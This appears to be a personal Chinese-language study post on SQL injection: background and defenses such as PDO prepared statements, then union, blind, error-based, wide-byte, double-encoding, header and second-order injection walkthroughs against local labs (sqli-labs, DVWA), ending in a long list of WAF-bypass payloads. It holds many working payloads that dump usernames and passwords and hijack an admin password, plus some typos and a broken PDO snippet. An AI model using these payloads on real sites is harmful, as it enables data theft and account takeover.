(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)
一、介绍
1.SQL注入漏洞的本质:后端代码再执行过程中,将用户输入的数据也当作代码来执行,违背代码和数据相分离原则
2.注入的原因:前端传递的参数可以随意控制,参数可控;后端对前端传递过来的数据没有过滤,或过滤不严谨,最终导致SQL注入
3.SQL注入漏洞有两个关键条件:
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库中执行
4.危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell等等
5.分类:
- 请求方式:get post cookie
- 参数形式:整型 字符型 搜索
- 反馈类型:报错 union 布尔(时间或页面显示状态) 延时
- 数据库类型:access mssql mysql oracle nosql等等
- 利用技术:布尔 报错 内联 堆叠 时间 联合
6.防御:
- GPC/RUNTIME魔术引号(PHP扩展)
1 GPC(magic_quotes_gpc):对接受到用户浏览器的数据中的特殊字符进行过滤,转义;只负责对GET,POST,COOKIE的值进行过滤 2 RUNTIM(magic_quotes_runtime):对从数据库或者文件中获取的数据进行过滤
- 使用具有过滤功能的函数和类
1 函数: 2 addslashes函数 3 mysql[real]escape_string函数 4 intval等字符转换 5 编译语句来绑定变量(mysqli扩展与pdo扩展连接数据库操作)类:PDO
- 设计输入验证和处理策略:使用WAF
- 其他防护方案
1 领域驱动的安全性:通过将数据封装到有效值对象中,并限制对原始数据的访问 2 编码输出
二、常用的数据库函数以及常量
1 @@tmpdir 查看临时目录 2 @@datadir 数据存放的位置 3 @@basedir 数据库服务所在位置 4 @@version 查看版本号 5 @@hostname 查看当前用户名 6 ascii() 返回字符串str的最左字符的数值 7 user() 获取登陆用户名 8 version() 获取当前版本号 9 database() 获取当前数据库 10 concat() 将多个字符串连接成一个字符串 11 group_concat() 将group by产生的同一个分组中的值连接起来,返回一个字符串结果 12 concat_ws() 将多个字符串连接成一个字符串 13 sleep() 休眠 14 ord() 显示字符的ASCII 15 length() 计算字符串长度 16 17 截取字符串: 18 substr() oracle mysql mssql 19 substring() MySQL mssql 20 mid() mysql 21 注:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度 22 left(pa1,pa2) pa1是被截取的字符串,从左开始截取,pa2是截取的位数 23 right(pa1,pa2) pa1是被截取的字符串,从右开始截取,pa2是截取的位数 24 25 条件判断: 26 if(条件,条件为真时的返回值或语句,条件为假时的返回值或语句) 27 case when 条件 then 条件为真时的返回值或语句 else 条件为假时的返回值或语句 end 28 如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+ 29 30 联合查询 31 select * from users where id=1 union select “a”,”b”,”c”; 32 select * from users where id=0.01 union selcet 1,2,user(),4,@@databases;
三、MySQL数据库:一库一表三字段
1.一库:information_schema库 存放系统库,汇总(其他数据库的库名、表名、字段名)
2.一表:columns表 存放数据(库名、表名、字段名)
3.三字段:
- table_schema字段 存放其他数据库的库名
- table_name字段 存放其他数据库的表名
- column_name字段 存放其他数据库的字段名
1 select table_schema table_name column_name from information_schema.columns; 查询三字段所对应的数据
2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”; 有条件的查询
3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761; 将dvwa转为16进制
注:MySQL的版本号需要>5.0
四、手工注入
- 测试使用搭建的jdy1.5网站,也可使用DVWA里面的SQL Injection模块
1.检测注入点:即可能存在SQL注入的地方,找到有类似id(id/uid/key、typeid/sid等等)的参数,后面需要输入一些检测的恶意代码(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等
- 需不需要单引号,是由后端拼接的SQL语句决定的,如(%23是#的URL编码):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1
2 前端测试: id=1’ and 1=1%23
3 SELECT * FROM users WHERE id=$id LIMIT 0,1
4 前端测试:id=1 and 1=1%23
- 输入的恶意代码被成功执行(根据页面显示效果以及报错信息等来判断),说明此处有SQL注入点
- 接下来还要判断注入的方式:根据页面的回显效果来决定使用哪种注入技术
- 判断从后台数据库中选择的列数以及哪几列在前端显示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
- 更换数字,根据页面显示效果判断后台数据库选择的列数,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
- 根据页面显示效果可知在2的位置显示到前端,即可将2替换为SQL语句
2.收集后台数据库信息:
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23 查看当前用户
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23 查看当前数据库
3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
4 distinct 去重
5 group_concat 分组并拼接
6 空格可以用+代替
3.获取当前数据库下的数据表:
http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23
4.获取当前数据库下指定表下的字段名:
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
- 一般需要找后台或敏感的数据表,0x6a6479636d73是‘jdycms’的16进制转码
5.获取字段数据:
1 select concat(username,0x7e,password)from jdy_admin limit 0,1;
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23
6.解密:使用cmd5、pmd5等等
7.找后台登录:可以猜、目录扫描或信息收集等等
步骤总结:
1.检测注入点
2.收集后台数据库信息
3.获取当前数据库下的数据表
4.获取当前数据库下指定表下的字段名
5.获取字段数据
6.解密
7.找后台登录
五、盲注
盲注:用户提交的数据在后台数据库中执行之后,没有返回任何数据,无法在前端显示测试出的数据,需要使用盲注技术
类型:基于布尔的盲注、基于时间的盲注
六、盲注过程
- 可以使用DVWA中的SQL Injection (Blind)模块或者sqli-labs(学习SQL注入的一个闯关游戏)第8关
- (搭建sqli-labs可以参考https://www.cnblogs.com/carlos-mm/p/8388351.html很详细,感谢!!!)
1. 判断注入点
1 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23 2 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23
2.判断后台选择列数
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' order by 4%23
3.没有将结果显示到前端,即下一行代码没有作用,就需要使用盲注
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' union select 1,2,3%23
4.收集数据库信息
七、基于布尔的盲注
- 测试使用sqli-labs第8关
1.探测注入点,使用'或1' and 1=1%23或1' and '1'=1或1' and 1=1#等等
(注:用户提交的数据被带入到后台数据库中执行,根据页面显示效果判断此处是否存在注入点)
2.收集数据库信息(当前用户名、当前数据库、版本、所以数据库等等)
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and length(user())=14%23
3.使用BP快速收集,操作步骤如下图所示
- 首先爆破用户名、数据库以及版本的字段长度,使用函数length()
- 抓包
-
- 选择爆破的项
-
- 为第一个项设置字典
-
- 为第二个项设置字典
-
- 添加查找关键字
-
- 开始爆破
- 爆破用户名及当前数据库名,使用函数ascii()
- 网页浏览下面的地址,判断出用户名首字母是r,后续依次去判断
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(user(),1,1))=114%23
-
- 抓包
-
- 选择要爆破的项
-
- 分别为第一个项和第二个项设置Payloads options有效载荷选项
-
- 开始爆破,爆破结果对照ASCII码表进行查找,即可得出所有用户名
-
- 爆破当前所在数据库名,则要爆破的项
-
- 分别为第一个项和第二个项设置Payloads options有效载荷选项
-
- 根据爆破结果对照ASCII码表进行查找,得出当前数据库为security
4.查询当前数据库中的表
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23
- 先计算某个表名字的长度,然后再判断每个字符,最终找到有价值的表名:users
5.获取指定表中字段名
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1),1,1))=105%23 //0x7573657273是users的16进制
- 字段名首字母是i,后续依次去判断第一个字段名、第二个字段名等等,最后找出敏感的字段:username、password
6.获取指定字段的数据
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select concat(username,0x7e,password)from users limit 0,1),1,1))=68%23 //0x7e是~的16进制
7.解密密文数据,登录后台
八、基于报错的注入
1.报错的含义:利用报错的函数构造测试的payload,数据库执行之后会报错,并将我们需要的数据带出来,达到攻击的目的
2.常用的报错函数:floor()、extractvalue()、updatexml()等等
3.floor();
- 报错本质:创建虚拟表格时,执行主键查询两次出错
-
必须和count()(计数)、rand()(产生0-1之间的随机小数,若给了参数(种子),就会根据该种子产生固定的值)、group by()(排序)等函数配合使用(能够达到相同目的的函数都可以替换去使用)
select concat(user(),floor(rand(0)*2));
select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x;
- 错误1022(23000):无法写入;表“C:\\用户\\管理\\应用程序数据\\本地\\临时\\ sql6abc_14e_0”中存在重复键
- 解决方法:更换MySQL版本
- 别名:
select 1 from dvwa.users a;
4.extractvalue(参数1,参数2);
- 作用:操作XML文件,从目标XML文件中返回查询到的字符串
- 参数1是string格式的XML文档名,参数2是xpath格式的字符串(需要查询的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));
select extractvalue(1,concat((select user()),0x7e));
2.updatexml(参数1,参数2,参数3);
- 作用:更改XML文档中符合条件的节点的值
- 参数1 是XML文档,参数2是xpath格式的字符串,参数3是string格式的替换查找符合条件的数据
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
select * from dvwa.users where user_id=1 limit 0,1;
select updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1),0x7e),1);
select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1)
注:后两者报错的长度有限制是32位
九、报错注入步骤
- 测试使用sqli-labs第五关
1.测试注入点
2.获取当前数据库信息
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e));%23+
3.获取当前数据库表名(下面的步骤只需替换代码中的红字部分即可)
4.获取指定表中的字段
5.获取内容
6.解密,登录系统
十、宽字节注入
1.原理:使用PHP连接MySQL的时候,当设置set character_set_client=gbk时会导致一个编码转换注入问题,也就是宽字节注入。当存在宽字节注入漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的"\"(即%5c)“吃掉”
- GBK编码:针对汉字的一种编码方式,使用2个字节编码1个汉字,用16位表示1个汉字
2.常用函数:
- mysql_query("SET NAMES 'gbk'");//设置字符集编码,对数据库执行之后的结果进行某种编码(GBK)然后传递给用户,返回GBK编码的查询结果
- mysql_set_charset("GBK");//方便MySQL字符集设置编码,设置字符集编码,规定当与数据库服务器进行数据传送时要使用默认字符集
- mysql_real_escape_string();//对参数进行过滤转义,具有相似功能的函数还有:addslaches()、mysql_escape_string()(PHP5.3以及之后的版本被废除)、魔术引号(magic-quotes_gpc模块)等,针对特殊符号’ “ \ null < >等进行转义
十一、宽字节注入过程
- 测试使用自己搭建的gbksql站点
1 <?php 2 //连接数据库部分,注意使用了gbk编码 3 $conn = @mysql_connect('localhost', 'root', 'root') or die('bad!'); 4 mysql_query("SET NAMES 'gbk'");//设置字符集编码,对数据库执行之后的结果进行某种编码(GBK)然后传递给用户,返回GBK编码的查询结果 5 //mysql_set_charset("GBK");//方便MySQL字符集设置编码,设置字符集编码,规定当与数据库服务器进行数据传送时要使用默认字符集 6 mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库"); 7 //执行sql语句 8 //$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1; 9 $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;//对参数进行过滤转义 10 $sql = "SELECT * FROM news WHERE tid='{$id}'"; 11 echo $sql."<br/>"; 12 $result = mysql_query($sql, $conn) or die(mysql_error()); 13 ?> 14 <!DOCTYPE html> 15 <html> 16 <head> 17 <title>新闻</title> 18 </head> 19 <body> 20 <?php 21 $row = mysql_fetch_array($result, MYSQL_ASSOC); 22 echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n"; 23 mysql_free_result($result); 24 ?> 25 </body> 26 </html>
1.检测注入点:
- 访问站点http://127.0.0.1/gbksql/01/?id=1'
-
- 执行结果不受影响
- 在http://127.0.0.1/gbksql/01/?id=1'后面加上%df(只要高位在81~fe之间的都可以使用),为http://127.0.0.1/gbksql/01/?id=1%df'
- 这里的1%df -经过过滤转义-> 1%df\' -经过GBK编码-> 1%df5c' => 1運' 数据库报错,多一个单引号
1 后端本身代码:$sql = "SELECT * FROM news WHERE tid='$id'"; 2 前端输入1%df'后,后端执行的代码:$sql = "SELECT * FROM news WHERE tid=' 1運' ' "; --> 报错,这就是注入点
2.判断列数:http://127.0.0.1/gbksql/01/?id=1%df' order by 3%23
3.信息收集:http://127.0.0.1/gbksql/01/?id=-1%df' union select 1,2,3%23
4.后面的步骤将2,3其中一个替换为SQL语句即可
-
测试使用sqli-labs第32关
1.判断注入点:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'
- 可以看到前端的报错信息中显示乱码\,一般为宽字节注入
2.判断列数:http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3%23
3.信息收集:http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3%23
4.获取数据库信息:
- http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,user(),3%23
- http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,database(),3%23
十二、防御宽字节注入
1.方法:
- 使用mysql_set_charset(“GBK”)设置编码,然后使用mysql_real_escape_string()进行转义
- 使用PDO方式,在PHP 5.3.6及以下版本中需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES,false); 禁用preparcd statements 的仿真效果
2.PDO的使用过程:连接数据库 --> 设置模板 --> 绑定数据 --> 执行SQL语句
1 <?php 2 $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass");//连接数据库 3 $dbh -> exec("set names 'GBK'"); 4 $sql = "select * from test where name = ? and password = ?";//设置模板 5 $stmt = $stmt -> execute(array($name,$pass)); 6 ?>
3.PDO防止SQL注入方法:
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
- setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用real parepared statements,确保了SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)
4.PDO防止SQL注入原理:当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符?发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的
https://www.jianshu.com/p/c0deb8061718文章,十分详细,感谢!!!)
十三、二次编码注入
1.原理:当提交参数到WebServer时,WebServer会自动解码生成单引号而引发注入;浏览器会对from表单中的数据进行一次URL编码,到达服务器之后会默认解码
2.编码问题:URL编码是一种浏览器用来打包表单输出的格式,URL编码就是一个字符ASCII码的16进制,不过稍微有些变动,需要在前面加上“%”,比如“\”,它的ASCII码是92,92的十六进制是5c,所以“\”的url编码就是%5c
3.PHP中URL解码函数:urlsecode()、rawurldecode()
- 注:默认的GET和POST请求,PHP会先解码一次
4.测试使用代码:
1 <?php 2 echo "<meta charset='utf-8'>"; 3 $id = $_GET[ 'id' ]; 4 echo "第一次解码:".$id."<br/>"; 5 $id = addslashes($id);//过滤 6 $id = urldecode($id); 7 echo "第二次解码:".$id."<br/>"; 8 //$id = rawurldecode($id); 9 $sql = "select * from users where user_id='$id'"; 10 echo($sql)."<br>"; 11 $conn=mysqli_connect("localhost","root","root","dvwa"); 12 $re=mysqli_query($conn,$sql); 13 if (mysqli_num_rows($re)>0) { 14 $row=mysqli_fetch_assoc($re); 15 echo $row["first_name"]."<br>"; 16 echo $row["last_name"]."<br>"; 17 } 18 19 mysqli_close($conn); 20 ?>
5.注入主要过程:
-
检测注入点:http://localhost/gbksql/test.php?id=1%2527
-
判断列数:http://localhost/gbksql/test.php?id=1%2527 order by 8%23
十四、HTTP头部注入
1.HTTP头部部分参数详解:
- User-Agent:浏览器向服务器表明自己的身份,使得服务器能够识别客户使用的操作系统,游览器版本等
- Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
- X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
- Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的
- Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号
2.注入主要过程:
- 测试使用sqli-labs第18关
- 主要代码:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
- 测试注入点:
- 抓包,修改User-Agent为User-Agent: test'(通过页面显示效果得知),此时后端代码就会变成下面的代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('test'', '$IP', $uname)";
-
- 修改User-Agent为User-Agent: test','1','2') %23,此时后端代码就会变成下面的代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' test','1','2') %23', '$IP', $uname)";
-
-
根据回显,修改User-Agent为User-Agent: test','1','2') #
-
-
- 查看是否将地址1和用户名2写入了后端数据库中
-
- 如下图所示已将地址1和用户名2成功写入后端数据库
- 获取数据库信息
- 修改User-Agent为User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1(根据回显,使用报错注入),此时后端代码就会变成下面的代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1', '$IP', $uname)";
-
- 修改User-Agent为User-Agent: 'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
十五、二次注入
1.原理:所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。比普通SQL注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询
- 二次注入的主要过程就是:存入恶意数据、从后端取出恶意数据、利用恶意数据
2.分析sqli-labs第24关的主要代码
- 存入恶意数据
- 前端用于存入数据的页面
-
- 后端存入恶意数据的代码(文件名为login_create.php):
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";//存数据
- 从后端取出恶意数据
- 后端取出恶意数据的代码(login.php):
1 function sqllogin(){ 2 $username = mysql_real_escape_string($_POST["login_user"]); 3 $password = mysql_real_escape_string($_POST["login_password"]); 4 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; 5 //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'"; 6 $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( '); 7 $row = mysql_fetch_row($res); 8 //print_r($row) ; 9 if ($row[1]) { 10 return $row[1];//1对应的是用户名,从数据库中取数据 11 } else { 12 return 0; 13 } 14 15 }
- 利用恶意数据
- 前端用于利用数据的页面
- 后端利用恶意数据的代码(pass_change.php):
1 $username= $_SESSION["username"];//$username从session里拿出来的 2 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//可利用恶意数据的地方
3.注入sqli-labs第24关过程:
(本次注入目的是在密码未知的情况下,使用二次注入更改已有用户admin的密码)
- 查看当前数据库所有用户信息
- 进入24关,点击New User click here?,创建新用户admin'#
- 进入数据库查看当前所有用户信息
- 登录用户admin'#
- 更改用户admin'#的密码为123.com
-
- 密码更改成功
- 再次进入数据库,查看当前所有用户信息
- 可以看到用户admin'#的密码并没有更改,更改的是admin的密码
- 这里利用的是:更改密码时,后端代码变成下面的样子,admin后面的#将后面的内容注释掉,admin后面的'与前面的'闭合,所以更改的就是admin的密码
$sql = "UPDATE users SET PASSWORD='$pass' where username=' admin'# ' and password='$curr_pass' ";
十六、SQL注入绕过WAF
1.WAF介绍:Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF),也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等
2.WAF分类:
- 代码WAF:将规则写在web代码中,并去匹配,来过滤。
- 软件WAF:监听端口或以Web容器扩展方式进行请求检测和阻断
- 硬件WAF:专门硬件防护设备,代理流量,并做分析,再做是否转发的处理
- 云WAF:通过dns域名移交技术,将流量暂时发送到检测中心节点,通过检测后,再发送到真实服务上
3.WAF工作流程:
- 身份认证:白名单(白名单IP、白名单Cookie、白名单User-Agent、白名单Referer等等)
- 数据包解析:应用层WAF(如匹配id=data部分的数据)
- 规则匹配:根据不同的规则,有不同的绕过方法(进行黑盒测试,可进行代码审计叫白盒测试)
4.绕过WAF:
- 大小写(/正则大小写/i,不区分大小写,可过)
select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
- 关键字重复写(针对检测到某个关键词,替换为空的情况)
select * from users where ID=1 ununionion selselectect 1,2,3,4%23
- 编码
1 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+ //%2b是+的URL编码 2 union ---> 0x756e696f6e20 3 select * from users where ID=1 %75nion select 1,2,3,4%23
-
- 编码方式
- URL编码:针对特殊情况可以两次URL编码
- 编码方式
空格 |
%20 |
单引号 | %27 |
左括号 | %28 |
右括号 | %29 |
-
-
- 16进制编码:针对某些数据,如:特殊字符、特殊字符串等等
- Unicode编码:给所有的字符指定了一个数字用来表示该字符,通常用两个字节表示一个字符,高位不足使用0填充
-
单引号 |
%u0027、%u02b9、%u02bc、%u02c8、%u2032、 %uff07、%c0%27、%c0%a7、%e0%80%a7 |
空格 | %u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0 |
左括号 | %u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8 |
右括号 | %u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9 |
-
-
- 二进制编码
- 八进制编码
-
- 内联注释
/* */或union/**/select/**/1,2,3%23
- 黑魔法
select{x user}from{x mysql.user};
- 换行符绕过
%23%0a %2d%2d%0a
- 等价函数替换
1 verion() @@version 2 mid substr substring 3 @@datadir datadir() 4 hex() bin() ascii() 5 sleep() benchmark() 6 user() @@user
- 等价符号替换
1 and & 2 or || 3 = ><
- 特殊符号
1 +、#、%23、--+、\\\\ 2 +:用于字符串连接 3 @符号:用户自定义变量 4 @@符号:系统变量 5 select @&1.from dvwa.users; 6 select`version`();
- 内联注释加!
1 select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+ 2 select * from dvwa.users where user_id=1 /*!union*/ /**/ /*!select*/ /**/ 1,2,3,4,5,6,7,8;
- 缓冲区溢出(针对老版本的安全狗和WAF)
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
-
- 例子上的 0xA*1000 指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短
- MySql 特性绕过
1 = 等于 2 := 赋值 3 @ @+变量名可直接调用 4 select @test:=user();
- 隐私类型转换
1 select 'a'=0;//返回值为1 2 select '1admin'=1;
- 分块传输
- 参数污染
5.绕过解析
select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
- 第一部分:
(1)内联注释
/**/ /*!50000union*/
(2)空白%09 %0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮点数形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin
- 第二部分:
(1)空白
(2)注释符
/**/ /*123213*/
(3)括号
id=1 union(select 'test','1',(select user() from admin limit 0,1))
- 第三部分:
(1)空白
(2)注释符号
(3)其他字符
1 ! %21 2 + %2b 3 - %2d 4 @ %40 5 ~ %7e 6 select * from admin where id=1 union select~1,user(),version()
(4)其他方式
1 括号 select * from admin where id=1 union select(1),user(),version() 2 内联 select * from admin where id=1 union /*!50000select*/1,user(),version() 3 {} select * from admin where id=1 union select{x 1} user(),version() 4 " " select * from admin where id=1 union select"1" user(),version() 5 \N select * from admin where id=1 union select\N ,user(),version()
- 第四部分:
(1)空白
(2)注释符
(3)浮点数、1E0 、\N
(4)其他符号
1 ` select * from admin where id=1 union select 1,2`from admin`; 2 “” select * from admin where id=1 union select 1,2"from admin"; 3 括号 1 union select 1,user(),(3)from dvwa.users# 4 内联注释符号
- 第五部分:
(1)空白
(2)注释符号
(3)其他符号
1 内联注释符号 2 () 3 {} select * from admin where id=1 union select 1,2 from{x admin};